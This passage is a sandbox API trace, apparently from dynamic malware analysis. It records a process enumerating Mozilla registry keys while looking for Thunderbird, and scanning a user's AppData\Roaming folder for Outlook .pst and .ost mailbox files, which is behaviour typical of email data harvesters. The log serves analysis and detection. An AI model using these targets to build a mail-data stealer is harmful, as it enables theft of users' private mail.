lpString1="Software\\Mozilla\\Firefox", lpString2="\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0099.210] lstrlenW (lpString="Software\\Mozilla\\Firefox\\") returned 25 [0099.210] lstrlenW (lpString="TaskBarIDs") returned 10 [0099.210] LocalAlloc (uFlags=0x40, uBytes=0xc8) returned 0x2815190 [0099.210] lstrcpyW (in: lpString1=0x2815190, lpString2="Software\\Mozilla\\Firefox\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0099.210] lstrcatW (in: lpString1="Software\\Mozilla\\Firefox\\", lpString2="TaskBarIDs" | out: lpString1="Software\\Mozilla\\Firefox\\TaskBarIDs") returned="Software\\Mozilla\\Firefox\\TaskBarIDs" [0099.210] LocalFree (hMem=0x72907b0) returned 0x0 [0099.210] StrStrIW (lpFirst="Software\\Mozilla\\Firefox\\TaskBarIDs", lpSrch="Thunderbird") returned 0x0 [0099.211] LocalAlloc (uFlags=0x40, uBytes=0x1080) returned 0x72f9d20 [0099.211] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Mozilla\\Firefox\\TaskBarIDs", ulOptions=0x0, samDesired=0x20219, phkResult=0x54dfcb8 | out: phkResult=0x54dfcb8*=0x1080) returned 0x0 [0099.211] RegEnumKeyExW (in: hKey=0x1080, dwIndex=0x0, lpName=0x72f9d20, lpcchName=0x54dfca8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x54dfca8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0099.211] RegCloseKey (hKey=0x1080) returned 0x0 [0099.211] LocalFree (hMem=0x72f9d20) returned 0x0 [0099.211] LocalFree (hMem=0x2815190) returned 0x0 [0099.211] RegEnumKeyExW (in: hKey=0x12b0, dwIndex=0x1, lpName=0x72f8c90, lpcchName=0x54dfd08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="TaskBarIDs", lpcchName=0x54dfd08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0099.211] RegCloseKey (hKey=0x12b0) returned 0x0 [0099.211] LocalFree (hMem=0x72f8c90) returned 0x0 [0099.211] LocalFree (hMem=0x7290930) returned 0x0 [0099.211] RegEnumKeyExW (in: hKey=0xb5c, dwIndex=0x1, lpName=0x72f7c00, lpcchName=0x54dfd68, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Mozilla Firefox", lpcchName=0x54dfd68, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0099.211] lstrlenW (lpString="Software\\Mozilla") returned 16 [0099.211] lstrlenW (lpString="\\") returned 1 [0099.211] LocalAlloc (uFlags=0x40, uBytes=0xa4) returned 0x71cef90 [0099.211] lstrcpyW (in: lpString1=0x71cef90, lpString2="Software\\Mozilla" | out: lpString1="Software\\Mozilla") returned="Software\\Mozilla" [0099.211] lstrcatW (in: lpString1="Software\\Mozilla", lpString2="\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0099.211] lstrlenW (lpString="Software\\Mozilla\\") returned 17 [0099.211] lstrlenW (lpString="Mozilla Firefox") returned 15 [0099.211] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2815190 [0099.211] lstrcpyW (in: lpString1=0x2815190, lpString2="Software\\Mozilla\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0099.211] lstrcatW (in: lpString1="Software\\Mozilla\\", lpString2="Mozilla Firefox" | out: lpString1="Software\\Mozilla\\Mozilla Firefox") returned="Software\\Mozilla\\Mozilla Firefox" [0099.211] LocalFree (hMem=0x71cef90) returned 0x0 [0099.211] StrStrIW (lpFirst="Software\\Mozilla\\Mozilla Firefox", lpSrch="Thunderbird") returned 0x0 [0099.211] LocalAlloc (uFlags=0x40, uBytes=0x1080) returned 0x72f8c90 [0099.211] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox", ulOptions=0x0, samDesired=0x20219, phkResult=0x54dfd18 | out: phkResult=0x54dfd18*=0x12b0) returned 0x0 [0099.211] RegEnumKeyExW (in: hKey=0x12b0, dwIndex=0x0, lpName=0x72f8c90, lpcchName=0x54dfd08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="25.0 (en-US)", lpcchName=0x54dfd08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0099.211] lstrlenW (lpString="Software\\Mozilla\\Mozilla Firefox") returned 32 [0099.211] lstrlenW (lpString="\\") returned 1 [0099.212] LocalAlloc (uFlags=0x40, uBytes=0xc4) returned 0x28154d0 [0099.212] lstrcpyW (in: lpString1=0x28154d0, lpString2="Software\\Mozilla\\Mozilla Firefox" | out: lpString1="Software\\Mozilla\\Mozilla Firefox") returned="Software\\Mozilla\\Mozilla Firefox" [0099.212] lstrcatW (in: lpString1="Software\\Mozilla\\Mozilla Firefox", lpString2="\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\") returned="Software\\Mozilla\\Mozilla Firefox\\" [0099.212] lstrlenW (lpString="Software\\Mozilla\\Mozilla Firefox\\") returned 33 [0099.212] lstrlenW (lpString="25.0 (en-US)") returned 12 [0099.212] LocalAlloc (uFlags=0x40, uBytes=0xdc) returned 0x71c1ff0 [0099.212] lstrcpyW (in: lpString1=0x71c1ff0, lpString2="Software\\Mozilla\\Mozilla Firefox\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\") returned="Software\\Mozilla\\Mozilla Firefox\\" [0099.212] lstrcatW (in: lpString1="Software\\Mozilla\\Mozilla Firefox\\", lpString2="25.0 (en-US)" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)" [0099.212] LocalFree (hMem=0x28154d0) returned 0x0 [0099.212] StrStrIW (lpFirst="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", lpSrch="Thunderbird") returned 0x0 [0099.212] LocalAlloc (uFlags=0x40, uBytes=0x1080) returned 0x72f9d20 [0099.212] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", ulOptions=0x0, samDesired=0x20219, phkResult=0x54dfcb8 | out: phkResult=0x54dfcb8*=0x1080) returned 0x0 [0099.212] RegEnumKeyExW (in: hKey=0x1080, dwIndex=0x0, lpName=0x72f9d20, lpcchName=0x54dfca8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Main", lpcchName=0x54dfca8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0099.212] lstrlenW (lpString="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)") returned 45 [0099.212] lstrlenW (lpString="\\") returned 1 [0099.212] LocalAlloc (uFlags=0x40, uBytes=0xde) returned 0x440e320 [0099.212] lstrcpyW (in: lpString1=0x440e320, lpString2="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)" [0099.212] lstrcatW (in: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", lpString2="\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" [0099.212] lstrlenW (lpString="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned 46 [0099.212] lstrlenW (lpString="Main") returned 4 [0099.212] LocalAlloc (uFlags=0x40, uBytes=0xe6) returned 0x4357470 [0099.212] lstrcpyW (in: lpString1=0x4357470, lpString2="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" [0099.212] lstrcatW (in: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\", lpString2="Main" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Main") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Main" [0099.212] LocalFree (hMem=0x440e320) returned 0x0 [0099.212] StrStrIW (lpFirst="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Main", lpSrch="Thunderbird") returned 0x0 [0099.212] LocalAlloc (uFlags=0x40, uBytes=0x1080) returned 0x72fadb0 [0099.212] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Main", ulOptions=0x0, samDesired=0x20219, phkResult=0x54dfc58 | out: phkResult=0x54dfc58*=0x10ac) returned 0x0 [0099.212] RegEnumKeyExW (in: hKey=0x10ac, dwIndex=0x0, lpName=0x72fadb0, lpcchName=0x54dfc48, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x54dfc48, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0099.213] RegCloseKey (hKey=0x10ac) returned 0x0 [0099.213] LocalFree (hMem=0x72fadb0) returned 0x0 [0099.213] LocalFree (hMem=0x4357470) returned 0x0 [0099.213] RegEnumKeyExW (in: hKey=0x1080, dwIndex=0x1, lpName=0x72f9d20, lpcchName=0x54dfca8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Uninstall", lpcchName=0x54dfca8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0099.213] lstrlenW (lpString="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)") returned 45 [0099.213] lstrlenW (lpString="\\") returned 1 [0099.213] LocalAlloc (uFlags=0x40, uBytes=0xde) returned 0x4357470 [0099.213] lstrcpyW (in: lpString1=0x4357470, lpString2="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)" [0099.213] lstrcatW (in: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", lpString2="\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" [0099.213] lstrlenW (lpString="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned 46 [0099.213] lstrlenW (lpString="Uninstall") returned 9 [0099.213] LocalAlloc (uFlags=0x40, uBytes=0xf0) returned 0x4450a60 [0099.213] lstrcpyW (in: lpString1=0x4450a60, lpString2="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" [0099.213] lstrcatW (in: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\", lpString2="Uninstall" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall" [0099.213] LocalFree (hMem=0x4357470) returned 0x0 [0099.213] StrStrIW (lpFirst="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall", lpSrch="Thunderbird") returned 0x0 [0099.213] LocalAlloc (uFlags=0x40, uBytes=0x1080) returned 0x72fadb0 [0099.213] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall", ulOptions=0x0, samDesired=0x20219, phkResult=0x54dfc58 | out: phkResult=0x54dfc58*=0x10ac) returned 0x0 [0099.213] RegEnumKeyExW (in: hKey=0x10ac, dwIndex=0x0, lpName=0x72fadb0, lpcchName=0x54dfc48, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x54dfc48, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0099.213] RegCloseKey (hKey=0x10ac) returned 0x0 [0099.213] LocalFree (hMem=0x72fadb0) returned 0x0 [0099.213] LocalFree (hMem=0x4450a60) returned 0x0 [0099.213] RegEnumKeyExW (in: hKey=0x1080, dwIndex=0x2, lpName=0x72f9d20, lpcchName=0x54dfca8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Uninstall", lpcchName=0x54dfca8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0099.213] RegCloseKey (hKey=0x1080) returned 0x0 [0099.213] LocalFree (hMem=0x72f9d20) returned 0x0 [0099.213] LocalFree (hMem=0x71c1ff0) returned 0x0 [0099.213] RegEnumKeyExW (in: hKey=0x12b0, dwIndex=0x1, lpName=0x72f8c90, lpcchName=0x54dfd08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="25.0 (en-US)", lpcchName=0x54dfd08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0099.213] RegCloseKey (hKey=0x12b0) returned 0x0 [0099.214] LocalFree (hMem=0x72f8c90) returned 0x0 [0099.214] LocalFree (hMem=0x2815190) returned 0x0 [0099.214] RegEnumKeyExW (in: hKey=0xb5c, dwIndex=0x2, lpName=0x72f7c00, lpcchName=0x54dfd68, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Mozilla Firefox 25.0", lpcchName=0x54dfd68, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0099.214] lstrlenW (lpString="Software\\Mozilla") returned 16 [0099.214] lstrlenW (lpString="\\") returned 1 [0099.214] LocalAlloc (uFlags=0x40, uBytes=0xa4) returned 0x71cef90 [0099.214] lstrcpyW (in: lpString1=0x71cef90, lpString2="Software\\Mozilla" | out: lpString1="Software\\Mozilla") returned="Software\\Mozilla" [0099.214] lstrcatW (in: lpString1="Software\\Mozilla", lpString2="\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0099.214] lstrlenW (lpString="Software\\Mozilla\\") returned 17 [0099.214] lstrlenW (lpString="Mozilla Firefox 25.0") returned 20 [0099.214] LocalAlloc (uFlags=0x40, uBytes=0xcc) returned 0x28e7910 [0099.214] lstrcpyW (in: lpString1=0x28e7910, lpString2="Software\\Mozilla\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0099.214] lstrcatW (in: lpString1="Software\\Mozilla\\", lpString2="Mozilla Firefox 25.0" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0") returned="Software\\Mozilla\\Mozilla Firefox 25.0" [0099.214] LocalFree (hMem=0x71cef90) returned 0x0 [0099.214] StrStrIW (lpFirst="Software\\Mozilla\\Mozilla Firefox 25.0", lpSrch="Thunderbird") returned 0x0 [0099.214] LocalAlloc (uFlags=0x40, uBytes=0x1080) returned 0x72f8c90 [0099.214] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0", ulOptions=0x0, samDesired=0x20219, phkResult=0x54dfd18 | out: phkResult=0x54dfd18*=0x12b0) returned 0x0 [0099.214] RegEnumKeyExW (in: hKey=0x12b0, dwIndex=0x0, lpName=0x72f8c90, lpcchName=0x54dfd08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="bin", lpcchName=0x54dfd08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0099.214] lstrlenW (lpString="Software\\Mozilla\\Mozilla Firefox 25.0") returned 37 [0099.214] lstrlenW (lpString="\\") returned 1 [0099.214] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e8ef0 [0099.214] lstrcpyW (in: lpString1=0x28e8ef0, lpString2="Software\\Mozilla\\Mozilla Firefox 25.0" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0") returned="Software\\Mozilla\\Mozilla Firefox 25.0" [0099.214] lstrcatW (in: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0", lpString2="\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\" [0099.214] lstrlenW (lpString="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned 38 [0099.214] lstrlenW (lpString="bin") returned 3 [0099.214] LocalAlloc (uFlags=0x40, uBytes=0xd4) returned 0x28e7bb0 [0099.214] lstrcpyW (in: lpString1=0x28e7bb0, lpString2="Software\\Mozilla\\Mozilla Firefox 25.0\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\" [0099.214] lstrcatW (in: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\", lpString2="bin" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\bin") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\bin" [0099.214] LocalFree (hMem=0x28e8ef0) returned 0x0 [0099.214] StrStrIW (lpFirst="Software\\Mozilla\\Mozilla Firefox 25.0\\bin", lpSrch="Thunderbird") returned 0x0 [0099.214] LocalAlloc (uFlags=0x40, uBytes=0x1080) returned 0x72f9d20 [0099.214] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0\\bin", ulOptions=0x0, samDesired=0x20219, phkResult=0x54dfcb8 | out: phkResult=0x54dfcb8*=0x1080) returned 0x0 [0099.215] RegEnumKeyExW (in: hKey=0x1080, dwIndex=0x0, lpName=0x72f9d20, lpcchName=0x54dfca8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x54dfca8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0099.215] RegCloseKey (hKey=0x1080) returned 0x0 [0099.215] LocalFree (hMem=0x72f9d20) returned 0x0 [0099.215] LocalFree (hMem=0x28e7bb0) returned 0x0 [0099.215] RegEnumKeyExW (in: hKey=0x12b0, dwIndex=0x1, lpName=0x72f8c90, lpcchName=0x54dfd08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="extensions", lpcchName=0x54dfd08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0099.215] lstrlenW (lpString="Software\\Mozilla\\Mozilla Firefox 25.0") returned 37 [0099.215] lstrlenW (lpString="\\") returned 1 [0099.215] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7bb0 [0099.215] lstrcpyW (in: lpString1=0x28e7bb0, lpString2="Software\\Mozilla\\Mozilla Firefox 25.0" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0") returned="Software\\Mozilla\\Mozilla Firefox 25.0" [0099.215] lstrcatW (in: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0", lpString2="\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\" [0099.215] lstrlenW (lpString="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned 38 [0099.215] lstrlenW (lpString="extensions") returned 10 [0099.215] LocalAlloc (uFlags=0x40, uBytes=0xe2) returned 0x71c1ff0 [0099.215] lstrcpyW (in: lpString1=0x71c1ff0, lpString2="Software\\Mozilla\\Mozilla Firefox 25.0\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\" [0099.215] lstrcatW (in: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\", lpString2="extensions" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions" [0099.215] LocalFree (hMem=0x28e7bb0) returned 0x0 [0099.215] StrStrIW (lpFirst="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions", lpSrch="Thunderbird") returned 0x0 [0099.215] LocalAlloc (uFlags=0x40, uBytes=0x1080) returned 0x72f9d20 [0099.215] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions", ulOptions=0x0, samDesired=0x20219, phkResult=0x54dfcb8 | out: phkResult=0x54dfcb8*=0x1080) returned 0x0 [0099.215] RegEnumKeyExW (in: hKey=0x1080, dwIndex=0x0, lpName=0x72f9d20, lpcchName=0x54dfca8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x54dfca8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0099.215] RegCloseKey (hKey=0x1080) returned 0x0 [0099.215] LocalFree (hMem=0x72f9d20) returned 0x0 [0099.215] LocalFree (hMem=0x71c1ff0) returned 0x0 [0099.215] RegEnumKeyExW (in: hKey=0x12b0, dwIndex=0x2, lpName=0x72f8c90, lpcchName=0x54dfd08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="extensions", lpcchName=0x54dfd08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0099.215] RegCloseKey (hKey=0x12b0) returned 0x0 [0099.215] LocalFree (hMem=0x72f8c90) returned 0x0 [0099.215] LocalFree (hMem=0x28e7910) returned 0x0 [0099.215] RegEnumKeyExW (in: hKey=0xb5c, dwIndex=0x3, lpName=0x72f7c00, lpcchName=0x54dfd68, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Mozilla Firefox 25.0", lpcchName=0x54dfd68, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0099.215] RegCloseKey (hKey=0xb5c) returned 0x0 [0099.216] LocalFree (hMem=0x72f7c00) returned 0x0 [0099.216] IUnknown:Release (This=0x43cf6f0) returned 0x0 [0099.216] GetProcAddress (hModule=0x7fefea30000, lpProcName="CoUninitialize") returned 0x7fefea51314 [0099.216] CoUninitialize () [0099.216] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6dc50 | out: hHeap=0x9770000) returned 1 Thread: id = 221 os_tid = 0x6a4 [0096.084] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0096.084] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x6a1f9a0 | out: ppstm=0x6a1f9a0*=0x43d29b0) returned 0x0 [0096.084] IStream:RemoteSeek (in: This=0x43d29b0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0096.084] IStream:SetSize (This=0x43d29b0, libNewSize=0x0) returned 0x0 [0096.088] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x7fefdb70000 [0096.089] GetProcAddress (hModule=0x7fefdb70000, lpProcName="SHGetFolderPathW") returned 0x7fefdbf3ba4 [0096.089] SHGetFolderPathW (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x6a1f660 | out: pszPath="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 0x0 [0096.093] GetProcAddress (hModule=0x7fefd5c0000, lpProcName="PathCombineW") returned 0x7fefd5d3dfc [0096.093] PathCombineW (in: pszDest=0x6a1f3e0, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\*" [0096.093] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\*", lpFindFileData=0x6a1f190 | out: lpFindFileData=0x6a1f190*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2335d4a0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0xb87c46b0, ftLastAccessTime.dwHighDateTime=0x1d51ed4, ftLastWriteTime.dwLowDateTime=0xb87c46b0, ftLastWriteTime.dwHighDateTime=0x1d51ed4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4466d00 [0096.094] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.094] FindNextFileW (in: hFindFile=0x4466d00, lpFindFileData=0x6a1f190 | out: lpFindFileData=0x6a1f190*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2335d4a0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0xb87c46b0, ftLastAccessTime.dwHighDateTime=0x1d51ed4, ftLastWriteTime.dwLowDateTime=0xb87c46b0, ftLastWriteTime.dwHighDateTime=0x1d51ed4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.094] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.094] FindNextFileW (in: hFindFile=0x4466d00, lpFindFileData=0x6a1f190 | out: lpFindFileData=0x6a1f190*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6e534c10, ftCreationTime.dwHighDateTime=0x1d4c901, ftLastAccessTime.dwLowDateTime=0x8b961a30, ftLastAccessTime.dwHighDateTime=0x1d4c886, ftLastWriteTime.dwLowDateTime=0x8b961a30, ftLastWriteTime.dwHighDateTime=0x1d4c886, nFileSizeHigh=0x0, nFileSizeLow=0xa29d, dwReserved0=0x0, dwReserved1=0x0, cFileName="3CvbZ27sNVNlEIcDr.png", cAlternateFileName="3CVBZ2~1.PNG")) returned 1 [0096.094] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.098] GetProcAddress (hModule=0x7fefd5c0000, lpProcName="PathMatchSpecW") returned 0x7fefd5d1b64 [0096.099] PathMatchSpecW (pszFile="3CvbZ27sNVNlEIcDr.png", pszSpec="*.pst") returned 0 [0096.099] PathMatchSpecW (pszFile="3CvbZ27sNVNlEIcDr.png", pszSpec="*.ost") returned 0 [0096.099] FindNextFileW (in: hFindFile=0x4466d00, lpFindFileData=0x6a1f190 | out: lpFindFileData=0x6a1f190*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x63a031a0, ftCreationTime.dwHighDateTime=0x1d4d187, ftLastAccessTime.dwLowDateTime=0x8fca0fc0, ftLastAccessTime.dwHighDateTime=0x1d4d322, ftLastWriteTime.dwLowDateTime=0x8fca0fc0, ftLastWriteTime.dwHighDateTime=0x1d4d322, nFileSizeHigh=0x0, nFileSizeLow=0x3ea2, dwReserved0=0x0, dwReserved1=0x0, cFileName="7KviI7VpJ.swf", cAlternateFileName="7KVII7~1.SWF")) returned 1 [0096.099] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.099] PathMatchSpecW (pszFile="7KviI7VpJ.swf", pszSpec="*.pst") returned 0 [0096.099] PathMatchSpecW (pszFile="7KviI7VpJ.swf", pszSpec="*.ost") returned 0 [0096.099] FindNextFileW (in: hFindFile=0x4466d00, lpFindFileData=0x6a1f190 | out: lpFindFileData=0x6a1f190*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd036920, ftCreationTime.dwHighDateTime=0x1d4cc80, ftLastAccessTime.dwLowDateTime=0x10b13c50, ftLastAccessTime.dwHighDateTime=0x1d4ce85, ftLastWriteTime.dwLowDateTime=0x10b13c50, ftLastWriteTime.dwHighDateTime=0x1d4ce85, nFileSizeHigh=0x0, nFileSizeLow=0xd7e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="7M gE_Md.xls", cAlternateFileName="7MGE_M~1.XLS")) returned 1 [0096.099] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.099] PathMatchSpecW (pszFile="7M gE_Md.xls", pszSpec="*.pst") returned 0 [0096.099] PathMatchSpecW (pszFile="7M gE_Md.xls", pszSpec="*.ost") returned 0 [0096.099] FindNextFileW (in: hFindFile=0x4466d00, lpFindFileData=0x6a1f190 | out: lpFindFileData=0x6a1f190*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa16a8c30, ftCreationTime.dwHighDateTime=0x1d4ccad, ftLastAccessTime.dwLowDateTime=0x541fd9d0, ftLastAccessTime.dwHighDateTime=0x1d4c9c9, ftLastWriteTime.dwLowDateTime=0x541fd9d0, ftLastWriteTime.dwHighDateTime=0x1d4c9c9, nFileSizeHigh=0x0, nFileSizeLow=0x18cbf, dwReserved0=0x0, dwReserved1=0x0, cFileName="99en0joo4697S6Ply8c.jpg", cAlternateFileName="99EN0J~1.JPG")) returned 1 [0096.099] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.099] PathMatchSpecW (pszFile="99en0joo4697S6Ply8c.jpg", pszSpec="*.pst") returned 0 [0096.099] 